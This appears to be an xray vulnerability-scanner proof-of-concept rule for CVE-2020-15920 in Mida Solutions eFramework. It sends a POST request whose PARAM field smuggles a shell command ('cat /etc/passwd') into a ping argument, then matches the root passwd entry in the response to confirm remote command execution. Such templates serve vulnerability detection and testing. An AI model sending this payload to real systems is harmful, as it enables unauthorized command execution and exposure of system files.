2020/CVE-2020-15920/poc/xray/mida-solutions-eframework-cve-2020-15920-rce.yml

name: poc-yaml-mida-solutions-eframework-cve-2020-15920-rce
rules:
  - method: POST
    path: /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING
    expression: |
      response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body)
detail:
  author: x1n9Qi8
  links:
    - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202007-1517
    - https://cxsecurity.com/issue/WLB-2020080155